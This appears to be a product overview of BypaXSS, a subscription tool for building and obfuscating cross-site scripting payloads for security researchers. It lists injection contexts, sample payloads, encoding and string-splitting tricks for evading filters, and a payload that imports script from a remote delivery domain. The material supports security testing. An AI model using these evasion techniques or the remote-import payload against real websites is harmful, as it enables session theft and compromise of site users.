# BypaXSS — XSS Bypass Builder

> Interactive XSS payload builder for security researchers. Guides the user through a 5-step wizard to construct, customize, and obfuscate XSS vectors across all major injection contexts. Built by Rodolfo Assis (Brute Logic), 15+ year XSS specialist and creator of KNOXSS. Access requires a Brute One subscription.

## Author

Rodolfo Assis — Brute Logic (@brutelogic)

- Main site: https://brutelogic.net
- Research archive: https://brutelogic.net/research
- X (primary): https://x.com/brutelogic

## Access

- URL: https://brutelogic.net/bypaxss/
- Requires: active Brute One account (https://brutelogic.net/pricing)
- Authentication: WordPress session (wp-login.php)

## What It Does

BypaXSS is a structured XSS bypass construction tool. It does not scan targets — it builds and obfuscates payloads for a known injection point. The workflow is a 5-step wizard:

1. **Context** — select the injection context
2. **Template** — choose tag and event handler combination
3. **Customize** — adjust syntax breakers, separators, closings, and payload
4. **Tricks** — apply vector obfuscation and payload evasion techniques
5. **Test** — copy to clipboard or open in browser

## Injection Contexts

- **Full HTMLi** — injection between HTML tags; break out with tags and event handlers
- **Inline HTMLi** — injection inside an HTML attribute value; escape with syntax breaker
- **JSi - Code** — injection inside a JavaScript string context; break out of the string
- **JSi - URL** — injection via href or src attribute; deliver via javascript: protocol

## Tags

- Anchor (`<A`) — with Href attribute
- Image (`<Img`) — with Src attribute
- Arbitrary (`<X`) — with ContentEditable attribute (agnostic tag)

## Event Handlers

- OnFocus + AutoFocus — agnostic, works on any tag
- OnError — image with no src
- OnLoad — image with valid src
- OnClick — agnostic
- OnWebKitAnimationEnd — CSS animation trigger

## Customization Options

**Syntax Breakers:** Double quotes, single quotes, backticks — used to escape the surrounding context

**HTML Separators:** Space, slash, plus, horizontal tab (%09), line feed (%0A), form feed (%0C), carriage return (%0D), encoded space (%20), encoded slash (%2F), no separator — replace spaces between HTML attributes to evade pattern-based filters

**Closings:** Tag close (`>`), JS comment (`//`), HTML comment (`<!--`), space close, no close

**Payloads:**
- Regular Dialog: `alert(1)`
- Staged Dialog: `[1].map(alert)`
- No Parentheses Dialog (3 variants): `setTimeout`, `setInterval`, constructor template literal
- Regular Import: `import('https://X55.is')`
- Regular Location Property: `location='JavaScript:alert(1)'`
- Staged Location Property: `location=textContent`
- Custom: any user-supplied payload

**Concatenators (JSi contexts):** Subtraction, addition, end of statement, division, multiplication, exponentiation, modulo, comparison and equality operators, bitwise and logical OR

## Bypass Techniques

### Vector Obfuscation
Encodes the structural components of the XSS vector (tag names, event handlers, attributes) to evade filter pattern matching.

Encoding techniques (combinable):
- URL Encoding
- HTML Numeric Entity
- Octal Encoding
- HTML Named Entity

Obfuscation levels:
- Minimum: ~25% of characters encoded
- Medium: ~50% of characters encoded
- Maximum: ~75% of characters encoded

### Payload Evasion
Transforms the JavaScript payload itself to break signature-based detection.

Evasion modes:
- Regular String Splitting — splits quoted string with concatenation operator
- Staged String Splitting (URL Chars) — replaces payload chars with URL-encoded equivalents
- Staged String Splitting (Variables) — assigns string fragments to variables before execution
- Staged String Splitting (Properties) — uses object property access for string reconstruction

### JavaScript Protocol Obfuscation (JSi - URL context only)
Obfuscates the `javascript:` keyword to bypass filters checking for it literally.

- Prepend with control characters in range %00–%20 (null byte, tab, line feed, carriage return, space, random ranges)
- Insert control characters spread across the keyword at evenly distributed positions

Both techniques support minimum/medium/maximum levels controlling the number of inserted characters.

## Character Encoding Reference

Internal char table covers all ASCII characters (0x00–0x7F) with five representations per character: symbol, URL code, HTML numeric entity, JS octal, HTML named entity. Used by the obfuscation engine for per-character encoding decisions.

## Related Tools

- KNOXSS (automated XSS detection): https://knoxss.pro
- X55.is (universal XSS delivery domain): https://x55.is
- Brute One (AI bug bounty assistant): https://brutelogic.net/one
- Research archive: https://brutelogic.net/research